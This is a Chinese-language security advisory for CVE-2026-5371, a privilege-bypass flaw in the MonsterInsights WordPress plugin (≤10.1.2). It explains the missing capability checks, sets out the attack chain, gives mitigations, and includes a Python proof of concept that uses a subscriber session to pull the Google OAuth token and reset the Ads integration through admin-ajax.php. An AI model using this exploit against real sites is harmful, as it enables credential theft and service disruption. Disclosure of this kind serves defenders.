IPBUF安全漏洞报告
English
CVE-2026-5371 CVSS 7.1 高危

CVE-2026-5371: MonsterInsights插件权限绕过漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-5371
漏洞类型
权限绕过
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
MonsterInsights – Google Analytics Dashboard for WordPress

相关标签

权限绕过WordPressMonsterInsights信息泄露CVE-2026-5371

漏洞概述

WordPress的MonsterInsights插件(Google Analytics Dashboard)在10.1.2及之前版本中存在高危漏洞。该漏洞源于插件未对`get_ads_access_token()`和`reset_experience()`函数实施严格的能力检查。这导致权限验证机制失效,任何拥有订阅者及以上权限的认证攻击者均可利用此缺陷。攻击者能够非法获取实时的Google OAuth访问令牌,并重置插件的Google Ads集成配置。此行为不仅造成敏感凭证泄露,还可能导致服务中断,严重威胁网站数据安全及第三方服务的正常运行。

技术细节

该漏洞的核心原因在于WordPress插件开发中的访问控制缺陷。在受影响的MonsterInsights版本中,`get_ads_access_token()`和`reset_experience()`函数被注册为AJAX处理程序,但开发人员未在这些回调函数中包含`current_user_can()`检查以验证用户角色。通常,只有管理员应有权管理Google Ads集成或访问OAuth令牌。然而,由于缺少此验证,任何登录用户(包括权限最低的订阅者)都可以向`/wp-admin/admin-ajax.php`发送包含相应action参数的POST请求。服务器收到请求后会直接执行函数逻辑,返回敏感的OAuth令牌或重置关键设置。这属于典型的失效的访问控制漏洞,允许低权限用户越权执行高特权操作。

攻击链分析

STEP 1
侦察
攻击者识别目标站点使用了存在漏洞的MonsterInsights插件(版本<=10.1.2)。
STEP 2
获取低权限账户
攻击者在目标站点注册一个普通用户账户(如订阅者Subscriber),或利用已有低权限账户。
STEP 3
构造攻击请求
攻击者使用账户Cookie登录,向`admin-ajax.php`发送POST请求,Action设为`monsterinsights_get_ads_access_token`。
STEP 4
执行越权操作
服务器端因缺少权限校验直接返回Google OAuth令牌,或响应重置请求,导致数据泄露或配置被篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" # Cookie from a low-privileged authenticated user (Subscriber) attacker_cookies = { "wordpress_logged_in_12345": "subscriber_session_token_here" } # Payload to retrieve Google OAuth Access Token # Action name is inferred from the function name get_ads_access_token payload_steal_token = { "action": "monsterinsights_get_ads_access_token" } # Payload to reset Google Ads integration # Action name is inferred from the function name reset_experience payload_reset_integration = { "action": "monsterinsights_reset_experience" } try: # Exploit 1: Leak the OAuth token response = requests.post(target_url, data=payload_steal_token, cookies=attacker_cookies) if response.status_code == 200: print("[+] Successfully retrieved OAuth Token:") print(response.text) else: print("[-] Failed to retrieve token.") # Exploit 2: Reset the integration reset_resp = requests.post(target_url, data=payload_reset_integration, cookies=attacker_cookies) if reset_resp.status_code == 200: print("[+] Successfully reset Google Ads integration.") except Exception as e: print(f"[!] Error: {e}")

影响范围

MonsterInsights <= 10.1.2

防御指南

临时缓解措施
如果无法立即升级插件,建议暂时禁用MonsterInsights插件以阻断攻击路径。同时,应在Web应用防火墙(WAF)中添加规则,拦截对`admin-ajax.php`中特定action(如`get_ads_access_token`)的调用请求,直到完成修复。

参考链接